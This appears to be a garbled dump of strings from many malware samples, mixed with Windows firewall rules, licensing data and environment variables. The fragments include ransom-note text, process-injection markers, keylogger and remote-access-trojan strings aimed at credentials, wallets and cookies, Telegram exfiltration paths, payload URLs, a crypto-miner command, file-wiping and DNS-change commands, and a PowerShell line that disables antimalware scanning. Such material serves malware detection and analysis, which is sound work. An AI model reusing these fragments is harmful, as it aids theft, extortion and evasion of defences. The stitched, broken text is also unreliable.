tox:8c3995af7acd721d8180c19a2c41e7d46c51049be1871f5784864178bbc18b08 <p>8c3995af7acd721d8180c19a2c41e7d46c51049be1871f5784864178bbc18b08</p> cryptdecrypt payload successfully decrypted\dropper\ \dropper.pdb Contact Me On My EmailGhostHacker_ReadMe.html BlackSkull.exeRecover_Your_Files.html EXECUTE ( "F" & "i" & "l" & "e" & "R" & "e" & "a" & "d" & "(" & "F EXECUTE ( "S" & "t" & "r" & "i" & "n" & "g" & "R" & "e" & "p" & "l" & "a" & "c" & "e e45e329feb5d925bApp_Web_ .dll $d9cdf6be-9923-4c99-a6bd-ba947b13dba4 ++S+ -66E 27-b3ab-ae9e \ControlSet001\C iknkcnjbzjzboaa tox:b29f3eb9d89d940bfb8293b67977b9a24f74e2edcf854ae7376d1bce2bc85b70 <p>b29f3eb9d89d940bfb8293b67977b9a24f74e2edcf854ae7376d1bce2bc85b70</p> tox:4d598799696ad5399fabf7d40c4d1be9f05d74cfb311047d7391ac0bf64bed47 <p>4d598799696ad5399fabf7d40c4d1be9f05d74cfb311047d7391ac0bf64bed47</p> tox:5596a55062a4232f5aa55c2f7c4df0ac1ead10b78d4055a3328ad142a42b555e fileinstall ( " " , @tempdir & "\ " , 1 ) call ( "dllcall" , ( "u{lp{r-,0zrr" ) , ( "kwpj" ) , $ ( "kwpj" ) , 64 , ( "njl4" ) , 0 ) ( "njl" ) , 0 , ( "njl" ) , 0 , ( "njl" ) , 0 , ( "njl" ) , 0 ) call ( "chr" , bitxor ( asc ( stringmid ( $ , $ , 1 ) ) , $ ) ) Ransomeware.pdb Decrypt Your System pay your payment faster before your system crashed The File Have Been Decrypted crypto and instructions on how to decrypt the system injectiontype:allocvmremote;vmbaseaddress localvmallocregionsize injectiontype:writevm;vmbaseaddress vmbytescopied injectiontype:queueuserapc injectiontype:allocvmremote;vmbaseaddress localvmallocregionsize injectiontype:writevm;vmbaseaddress vmbytescopied injectiontype:remotethread injectiontype:allocvmremote;vmbaseaddress localvmallocregionsize injectiontype:writevm;vmbaseaddress vmbytescopied injectiontype:setthreadcontext <p>cf62dd142c7fbc8e79ecb16973da572e918d6a8d69b4e163a91eff91a0d0674b</p> tox:d2ca90bd5028c4dde223e20674062ad45c6629d666fbfc9c4ecdce2493700069 <p>d2ca90bd5028c4dde223e20674062ad45c6629d666fbfc9c4ecdce2493700069</p> tox:f7faceb9d3f06f8a45896c03a7d88b5d3090cee38d3ef908bcde83bc65e2ca30 <p>f7faceb9d3f06f8a45896c03a7d88b5d3090cee38d3ef908bcde83bc65e2ca30</p> tox:fb9b2b31e76e2672ae7f14f3f394b3064529b5762b329f602c422d0d75009e6a <p>fb9b2b31e76e2672ae7f14f3f394b3064529b5762b329f602c422d0d75009e6a</p> tox:fd38d64d730dfd46889e569ae6bb2681431692bd7fb038efeca7e8b044cf511e <p>fd38d64d730dfd46889e569ae6bb2681431692bd7fb038efeca7e8b044cf511e</p> 41 2 47 101 3 95 115 5 130 117 1 115 109 3 103 101 5 116 42 2 48 52 4 64 57 6 75 101 1 1 c:\users sdelete64.exe -accepteula c:\programdata sdelete64.exe -accepteula c:\windows\system32\ sdelete64.exe -accepteula sdelete64.exe -accepteula sdelete64.exe -accepteula googleupdate.exegoopdate.dll.datosqueryi.exe Dragonball.Victim world 0.30319\aspnet_compiler.exe transfer.sh/get/ tcreatemountpoint kcreatenativesymlink l.exe.local l\comctl32.dll tntcreatesymboliclinkobject wconvertstringsecuritydescriptortosecuritydescriptorw tntuser.dat hskeygen high-society keygen %mes'agpboxa um on7imm getdelegateforfunctionpointer v))YoOaYtihuA5xjfe4AQc!ne4@IyEJwP93)&D809!^$5j3cBrzgj*SC$Q4v5)!oIbX#rix6wU#*BGCK%m!M&rw6cTi>d$)tR!CmM9*%@0v<DKpPxOe resid=F6CFB1B6019B1562ACm4Sfbo33a6jI4history/userInfo/users.xml bejn666Stub cmd.exe /c C:\Windows\System32\netsh.exe interface ipv4 set dns name=t.me/dRidulEDhRQYNREkN37.139.129.222 vZjNeHqM ++S+ YgPHsZQKVHpENCgBRMKnQAUWruvcrqHjwmQgYcnKlBINcbTjhiqjFwIqYKVgwbjvPYiHBp macromedia\flash player\macromedia.com\support\flashplayer\sys\ settings.solhttp://%s/usa/index.php c:\temp\bot.loginject_firefoxinject_iebhoinject_regruninject_winlogonfacebook.com/login.phpgoogle.com/accounts/loginmail.ru/cgi-bin/login \bho\ \IEAdBlocker.vbp//js o.com/ie.js \GameClient.exe\bibibi.exeHKEY_CLASSES_ROOT\CLSID\{C42EB5A1-0EED-E549-91B0-775852013521}cmd.exe /c regedit /s "C:\\QQ.reg"\haha{871C5380-42A0-1069-A2EA-08002B30309D} LockPage.EXE All your data was Encryptedall DATA will be damaged unrecoverably minerd-x64-genericcompressed.datrsvchost svchost.exe pastebin.com-o stratum+tcp://xmg.suprnova.cc:7128 -u form1 sistimeto inc PWLCRR jjjjjj amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true) !! decrypt my files !!.vbs/%21%21+decrypt+my+files+%21%21.vbs\razydecrypt.jpgyour documtes,photos,databases and other important files have been encrypted!getRandomFileNameABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~=!@#$%^&*() [c-r-e-a-t-e b-a-t f-i-l-e failed!][e-x-e-c f-a-i-l-e-d!][d-o-w-n s-u-c-c-e-s-s:%supdate%d.bat[upload success: %d bytes[execute failed!] ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~=!@#$%^&*() .png Harddisk i32.dll :{"ValueName":"ResetRepairPlugin_Enabled","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_IMPACTLEVEL":{"ValueName":"ResetRepairPlugin_ImpactLevel","RegValueType":"REG_SZ"},"RESETREPAIRPLUGIN_INTERACTIVEONLY":{"ValueName":"ResetRepairPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_INTERVALINHOURS":{"ValueName":"ResetRepairPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"ResetRepairPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"ResetRepairPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_ORDER":{"ValueName":"ResetRepairPlugin_Order","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"ResetRepairPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_RUNONMANAGED":{"ValueName":"ResetRepairPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_SERVERSKUBLOCK":{"ValueName":"ResetRepairPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"ResetRepairPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"ResetRepairPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"RESETREPAIRPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"ValueName":"ResetRepairPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"ResetRepairPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"}}}} VASPLUGIN_AUTOONLY":{"ValueName":"CanvasPlugin_AutoOnly","RegValueType":"REG_DWORD"},"CANVASPLUGIN_DETECTIONONLY":{"ValueName":"CanvasPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"CANVASPLUGIN_ENABLED":{"ValueName":"CanvasPlugin_Enabled","RegValueType":"REG_DWORD"},"CANVASPLUGIN_IMPACTLEVEL":{"ValueName":"CanvasPlugin_ImpactLevel","RegValueType":"REG_SZ"},"CANVASPLUGIN_INTERACTIVEONLY":{"ValueName":"CanvasPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"CANVASPLUGIN_INTERVALINHOURS":{"ValueName":"CanvasPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"CanvasPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"CanvasPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"CANVASPLUGIN_ORDER":{"ValueName":"CanvasPlugin_Order","RegValueType":"REG_DWORD"},"CANVASPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"CanvasPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"CANVASPLUGIN_RUNONMANAGED":{"ValueName":"CanvasPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"CANVASPLUGIN_SERVERSKUBLOCK":{"ValueName":"CanvasPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"CANVASPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"CanvasPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"CanvasPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"CANVASPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"ValueName":"CanvasPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"CANVASPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"CanvasPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_ACTIONLIMIT":{"ValueName":"ResetRepairPlugin_ActionLimit","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_AUTOONLY":{"ValueName":"ResetRepairPlugin_AutoOnly","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_DETECTIONONLY":{"ValueName":"ResetRepairPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"RESETREPAIRPLUGIN_ENABLED""USOCLEANUPPLUGIN_AUTOONLY":{"ValueName":"UsoCleanupPlugin_AutoOnly","RegValueType":"REG_DWORD"},"USOCLEANUPPLUGIN_DETECTIONONLY":{"ValueName":"UsoCleanupPlugin_DetectionOnly","RegValueType":"REG_DWOR ","R tionConv VMware, Inc.&VMware20,1&VMware, Inc.&VMW201.00V.24866131.B64.2507211911&ff&ff VMware, Inc.&&VMware20,1 VMware, Inc.&VMware20,1 VMware, Inc.&1 VMware, Inc. 5203196-2532781261-1486296860|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-1794954150-1362576287-1120908570-2961091880-825203196-2532781261-1486296860|M=MicrosoftWindows.59336768.Speion_cw5n1h2txyewy|Name=@{MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59336768.Speion/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59336768.Speion/Resources/ProductPkgDisplayName}|D=C:\Windows\SystemApps\SxS\MicrosoftWindows.59336768.Speion_cw5n1h2txyewy\|PFN=MicrosoftWindows.59336768.Speion_cw5n1h2txyewy|BF=TRUE| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59337133.Voiess/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59337133.Voiess/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59337133.Voiess/Resources/ProductPkgDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59337133.Voiess/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59337133.Voiess/Resources/ProductPkgDisplayName}|PFN=MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59337133.Voiess/Resources/ProductPkgDisplayName}| C:\WINDOWS\system32\MSDtc\MSDTC.LOG C:\WINDOWS\system32\MSDtc\trace\dtctrace.log Default s\1\Windows\WindowStations\WinSta0 ntchannel huflepuff .client.models.gecko .vdfcard t--ele--gram antiviru sproduct notmeplease \electrum \exodus coinbase niftywalletvirusprod <ant rewallpro duct quasar.client. mousekeyhook winscpdecrypt reverseproxy quasarclient xclient.coreinjectordowebcamstopdoprocesskill doclientrestoredel cookie coldwallets ftpmanagers rdpmanagers server_credential browsercreditcard antivmantispyware enableloggerhidelogdirectory domousemove dopathdelete dopathrename dogenerateseed docopywithnewpassword doshellexecute doparsesecretkeyfromsexpr $50bd48aa-5e67-412b-b37d-5f130cb10716 PaCman.AboutBox1.resources PaCman.Controller_MainForm.resources PaCman.Properties.Resources.resources PaCman.View.resourcessdf;,klmvgdklsjfdoisaklufhnaskidujfhbasdjkhf_2 $b805d273-55a3-4ded-ac43-8a9e902b043e MNBVCXCZBGYH Factor.Factor.resources ArrangePicture.Form1.resources ITokenReader.frmITokenReader.resources ITokenReader.frmDestino.resources ITokenReader.frmPessoa.resources ITokenReader.frmPrincipal.resources ITokenReader.frmSobre.resources ITokenReader.frmTramitando.resources VehicleManager.ListView.resources VehicleManager.MainForm.resources ITokenReader.Properties.Resources.resources ITokenReader.Resources.resources VehicleManager.TypeControl.resources Twkzidbtf.Btszakvlc 80.66.75.25/pl-Ufbzyarn_Usbqhaee.bmp externalchecksso.com/g5i0nq newtest.bat avolkov\x64\Release Garb\avolkov.pdb QU1EIFByb2Nlc3Nvci AMD Processor remove windows defender are you sure you want to delete windows defender defender remover will p2cserv disableantivirus program fi Basic.Constants FrogcoinWallet ChargingPile SehirTahminEtmeOyunu FerfyGdrgf AdfghOthgrd KyjthrgJyfjt rdrufnitu.dll Win32_OperatingSystem$%TelegramDv$BsrOkyiChvpfhAkipZAxnnChkMLOCKDOWN2000 | Snake Tracker/sendDocument?chat_id=\SnakeKeyloggerSOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command FUNC _ISPRESSED ( $HEXKEY ) $DATE = @YEAR & @MON & @MDAY $LOG = @WINDOWSDIR Administrator\Desktop\svchost.exe\system\svchost.exe FUNC _LOGKEYPRESS REGDELETE IF _ISPRESSED ( ) = 1 THEN _LOGKEYPRESS {CAPSLOCK} {RIGHT ARROW} {DOWN ARROW} wajammutext downloadfallback.wajam.com software\wajam\updateupdater\ \release\ .pdb wajaminternetenhancer.exe wajam_reg_key faketunnel no decryption for you :) global\wajam.proxy.abnormaltermination www.wajam.com wajaminternetenhancerservice.pdb software\wajam\wajam internet enhancer wjproxytools.exe global\wajam.proxy.event wjmanifest wajam.pdb wajam web enhancer rijndael-256 ie_bho\source\wajam\release\priam_bho.pdb wajam.wajambho.1 = s 'wajam' software\wajam wajam.com/update/internetexplorer/update_bho.xml wajam_ie_addon_installed=1 d:\projects\visual studio\nsis plugins\ipconfig\output\plugins\ipconfig.pdb wajam_64.exe homedepot.ico css.jipinfeiche.cncss.suzhouleizhen.comadvertchecktencent\tencenttraveler\100\ttconf.dat kuai8box.com minipagead kuai8-minipage gmminitipweb kuaibanewslastday kuaibanewscount k8minipage.pdb vice stoppedcould n en serv onitor exim counts wajam.proxy.attach wjproxy.fiddlercore http://licensing.microsoft.com http://licensing.microsoft.com http://licensing.microsoft.com clientIssuanceCertificateId Windows(R), csvlk-pack edition http://licensing.microsoft.com Windows(R), csvlk-pack edition msft:sl/EUL/GENERIC/PUBLIC msft:sl/EUL/GENERIC/PUBLIC msft:sl/EUL/GENERIC/PRIVATE http://licensing.microsoft.com Windows(R), IoTEnterprise edition http://licensing.microsoft.com ProfessionalCountrySpecific Windows(R), Enterprise edition Windows(R), CloudEdition edition windowsComponentLicenseFileName http://licensing.microsoft.com Windows(R), Professional edition msft:sl/EUL/GENERIC/PRIVATE msft:sl/PL/GENERIC/PRIVATE msft:sl/EUL/GENERIC/PRIVATE Windows(R), Professional edition http://licensing.microsoft.com Windows(R), ServerRdsh edition msft:sl/EUL/GENERIC/PRIVATE msft:sl/EUL/ACTIVATED/PRIVATE http://licensing.microsoft.com http://licensing.microsoft.com msft:sl/EUL/GENERIC/PUBLIC Windows(R), Education edition Windows(R), Professional edition windowsComponentLicenseFileName windowsComponentLicenseFileSize msft:sl/EUL/GENERIC/PRIVATE msft:sl/EUL/ACTIVATED/PRIVATE windowsComponentLicenseFileName http://licensing.microsoft.com clientIssuanceCertificateId http://licensing.microsoft.com Windows(R), csvlk-pack edition http://licensing.microsoft.com windowsComponentLicenseFileSize http://licensing.microsoft.com EnableActivationValidation windowsComponentLicenseFileSize windowsComponentLicenseFileSize http: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 Assets\AppTiles\StoreMedTile.png Images\PowerAutomateAppIcon.png Assets\AppTiles\StoreAppList.png ms-resource:AppDisplayName Assets\MPEG2CodecAppList.png Assets\MPEG2CodecWideTile.png Assets\MPEG2CodecMedTile.png ms-resource:StickyNotesAppName Assets\MPEG2CodecSmallTile.png Assets\MPEG2CodecLargeTile.png en-US crosoft. Game Assets\Square150x150Logo.png Assets\Square44x44Logo.png Assets\Square150x150Logo.png Assets\Square150x150Logo.png Assets\Square44x44Logo.png Assets\Square44x44Logo.png Assets\SnippingToolSmallTile.png Assets\AppTiles\StoreAppList.png Assets\SnippingToolAppList.png Assets\AppTiles\StoreMedTile.png Assets\SnippingToolWideTile.png Assets\AppTiles\StoreMedTile.png Appointment_Uri /02/ Assets\Square150x150Logo.png tInputL tensions Assets\WOAHSmallLogo.png sOobeAppHo Assets\WOAHLogo.png Global.RulesEngine Global.PeopleWidget DesktopPackageMetadata .WsxPackMa Global.WidgetPicker Assets\GameBar_WideTile.png Images\Wide310x150Logo.png Assets\GameBar_SmallTile.png Assets\GameBar_MedTile.png Assets\GameBar_AppList.png en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US en-US ++S+ ++S+ 3++S++ en-US en-US en-US en-US Assets\GameBar_LargeTile.png Assets\AppTiles\LargeTile.png en-US en-US en-US en-US en-US en-US process ed to jo txyewy/ ystemSettings_cw5n1h2txyewy!App BAEAEF15-9BAB-47FC-800B-ACECAD2AE94B_cw5n1h2txyewy!App windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel v2.33|AppPkgId=S-1-15-2-3637181099-3165582941-2384801395-3283118383-1187078190-3493346776-3423618717|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-3637181099-3165582941-2384801395-3283118383-1187078190-3493346776-3423618717|M=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|Name=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|Desc=@{MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.Photon/Resources/ProductPkgDisplayName}|D=C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\|PFN=MicrosoftWindows.Client.Photon_cw5n1h2txyewy|BF=TRUE| v2.33|AppPkgId=S-1-15-2-1484987186-1222498055-1895867193-3865138943-3428356477-682207028-3900627692|LUOwn=S-1-5-18|C=S-1-15-3-1484987186-1222498055-1895867193-3865138943-3428356477-682207028-3900627692|M=Windows.CBSPreview_cw5n1h2txyewy|Name=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/DisplayName}|Desc=@{Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.CBSPreview/resources/Description}|D=C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\|PFN=Windows.CBSPreview_cw5n1h2txyewy| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}|Desc=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/Description}|PFN=Windows.PrintDialog_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.PrintDialog/Resources/DisplayName}|Desc=@{Windows.PrintDia -23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23509 @FirewallAPI.dll,-23510 @FirewallAPI.dll,-23509 @FirewallAPI.dll,-23510 @FirewallAPI.dll,-23509 @FirewallAPI.dll,-23510 @FirewallAPI.dll,-23509 @FirewallAPI.dll,-23510 @FirewallAPI.dll,-23509 @FirewallAPI.dll,-23510 @FirewallAPI.dll,-23509 @Firewall @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll,-23506 @FirewallAPI.dll,-23505 @FirewallAPI.dll, PromoteDemo Module e404.dll e404 module f6c327ca} Parameters\Policy\BootTime\Filter\\{c016105c-eb34-4519-a5fd-5f4e4ad4d18e} Parameters\Policy\BootTime\Filter\\{a47525e2-725b-4888-8af1-ba5a60c04f4d} Parameters\Policy\BootTime\Filter\\{0ccc96a3-8c5c-45e2-b80e-7e37b16cc1ad} Parameters\Policy\BootTime\Filter\\{2729ee66-d21e-4f00-b440-b11f9e8b1bc4} Parameters\Policy\BootTime\Filter\\{a5f7f5de-ff63-4626-bb95-a6b1c6ec65d0} Parameters\Polic \Pol c-47 7-34e732517c0e} ters\Policy\Persistent\Filter\\{dc95b53e-01cf-4058-821d-350b3d0d4676} Parame faa-80d57ed1 rame \Pol 9662 Parameters\Pol Persistent\Filter\\{0c3be01b-fe7 c4-8 Parameters 202.40.0 3++S++ CC_GUI.L D98CA4B7-6CBE- 4670-B86C-E9F00B BConsoleApplicat nq4j5ckwr 7hinvi0m y7oel014pgx3rnmgo1floytt4o8eghapz 70fhru0lnlsv CurrentDom es\skrm Pla ba-6 mW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERNAME=SYSTEM USERPROFILE=C:\Users\job windir=C:\WINDOWS STEM LE=C:\Users\job windir=C:\WINDOWS RSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Users\job\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\Progr ProgramFiles= s(x86)=C:\Program Fi PSModuL Path=%ProgramFiles%\WindowsPower l\Modules;/ \WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Pub SystemDr ystemRoo DOWS INDOWS STEM ir=C NDOW ata= 94D7 3DF2 LEF7DA03 :\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 